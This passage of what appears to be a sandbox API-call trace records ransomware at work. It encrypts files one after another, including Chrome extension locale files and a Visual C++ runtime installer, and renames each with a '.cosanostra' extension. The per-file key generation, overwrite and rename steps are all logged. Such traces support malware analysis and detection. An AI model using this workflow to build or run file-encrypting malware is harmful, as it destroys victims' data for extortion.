pbBuffer=0x28dfa18 | out: pbBuffer=0x28dfa18) returned 1 [0086.388] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa10*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa10*=0x30) returned 1 [0086.388] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.388] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 155 [0086.388] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.389] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff25, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.389] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x28df9d4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9d4*=0xdb, lpOverlapped=0x0) returned 1 [0086.389] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.389] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9d4, lpOverlapped=0x0 | out: lpBuffer=0x28dfa14*, lpNumberOfBytesWritten=0x28df9d4*=0x4, lpOverlapped=0x0) returned 1 [0086.389] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9d4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9d4*=0x30, lpOverlapped=0x0) returned 1 [0086.389] CloseHandle (hObject=0x190) returned 1 [0086.389] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0086.391] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa10 | out: pbBuffer=0x28dfa10) returned 1 [0086.391] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa08*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa08*=0x30) returned 1 [0086.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.392] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 155 [0086.392] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.393] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.393] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x28df9cc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9cc*=0xfe, lpOverlapped=0x0) returned 1 [0086.393] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.393] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9cc, lpOverlapped=0x0 | out: lpBuffer=0x28dfa0c*, lpNumberOfBytesWritten=0x28df9cc*=0x4, lpOverlapped=0x0) returned 1 [0086.393] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9cc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9cc*=0x30, lpOverlapped=0x0) returned 1 [0086.393] CloseHandle (hObject=0x190) returned 1 [0086.394] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0086.396] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa08 | out: pbBuffer=0x28dfa08) returned 1 [0086.396] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa00*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa00*=0x30) returned 1 [0086.396] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.396] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 155 [0086.396] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.397] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.397] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x28df9c4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9c4*=0xe2, lpOverlapped=0x0) returned 1 [0086.397] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.397] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9c4, lpOverlapped=0x0 | out: lpBuffer=0x28dfa04*, lpNumberOfBytesWritten=0x28df9c4*=0x4, lpOverlapped=0x0) returned 1 [0086.398] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9c4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9c4*=0x30, lpOverlapped=0x0) returned 1 [0086.398] CloseHandle (hObject=0x190) returned 1 [0086.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0086.402] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa00 | out: pbBuffer=0x28dfa00) returned 1 [0086.402] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9f8*=0x30) returned 1 [0086.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.402] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 158 [0086.402] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.403] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.403] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28df9bc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9bc*=0xe6, lpOverlapped=0x0) returned 1 [0086.403] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.403] WriteFile (in: hFile=0x190, lpBuffer=0x28df9fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9bc, lpOverlapped=0x0 | out: lpBuffer=0x28df9fc*, lpNumberOfBytesWritten=0x28df9bc*=0x4, lpOverlapped=0x0) returned 1 [0086.403] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9bc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9bc*=0x30, lpOverlapped=0x0) returned 1 [0086.403] CloseHandle (hObject=0x190) returned 1 [0086.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0086.405] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9f8 | out: pbBuffer=0x28df9f8) returned 1 [0086.405] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9f0*=0x30) returned 1 [0086.406] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.406] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 158 [0086.406] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.407] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.407] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x28df9b4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9b4*=0xd5, lpOverlapped=0x0) returned 1 [0086.407] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.407] WriteFile (in: hFile=0x190, lpBuffer=0x28df9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9b4, lpOverlapped=0x0 | out: lpBuffer=0x28df9f4*, lpNumberOfBytesWritten=0x28df9b4*=0x4, lpOverlapped=0x0) returned 1 [0086.407] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9b4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9b4*=0x30, lpOverlapped=0x0) returned 1 [0086.408] CloseHandle (hObject=0x190) returned 1 [0086.408] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0086.410] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9f0 | out: pbBuffer=0x28df9f0) returned 1 [0086.410] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9e8*=0x30) returned 1 [0086.410] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.411] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 155 [0086.411] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.412] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.412] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x28df9ac, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9ac*=0xd1, lpOverlapped=0x0) returned 1 [0086.412] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x190, lpBuffer=0x28df9ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9ac, lpOverlapped=0x0 | out: lpBuffer=0x28df9ec*, lpNumberOfBytesWritten=0x28df9ac*=0x4, lpOverlapped=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9ac, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9ac*=0x30, lpOverlapped=0x0) returned 1 [0086.413] CloseHandle (hObject=0x190) returned 1 [0086.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0086.415] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9e8 | out: pbBuffer=0x28df9e8) returned 1 [0086.415] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9e0*=0x30) returned 1 [0086.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.415] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 155 [0086.415] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.424] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.424] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xbf, lpNumberOfBytesWritten=0x28df9a4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9a4*=0xbf, lpOverlapped=0x0) returned 1 [0086.424] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.424] WriteFile (in: hFile=0x190, lpBuffer=0x28df9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9a4, lpOverlapped=0x0 | out: lpBuffer=0x28df9e4*, lpNumberOfBytesWritten=0x28df9a4*=0x4, lpOverlapped=0x0) returned 1 [0086.424] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9a4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9a4*=0x30, lpOverlapped=0x0) returned 1 [0086.424] CloseHandle (hObject=0x190) returned 1 [0086.425] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.cosanostra")) returned 1 [0086.425] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9e8 | out: pbBuffer=0x28df9e8) returned 1 [0086.425] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9e0*=0x30) returned 1 [0086.426] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0086.429] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 147 [0086.429] StrStrW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch=".txt") returned 0x0 [0086.431] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.431] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df9a4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df9a4*=0x2800, lpOverlapped=0x0) returned 1 [0086.432] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.432] WriteFile (in: hFile=0x194, lpBuffer=0x28df9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9a4, lpOverlapped=0x0 | out: lpBuffer=0x28df9e4*, lpNumberOfBytesWritten=0x28df9a4*=0x4, lpOverlapped=0x0) returned 1 [0086.432] WriteFile (in: hFile=0x194, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9a4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9a4*=0x30, lpOverlapped=0x0) returned 1 [0086.432] CloseHandle (hObject=0x194) returned 1 [0086.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.cosanostra" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.cosanostra")) returned 1 [0086.537] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9d8 | out: pbBuffer=0x28df9d8) returned 1 [0086.537] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, 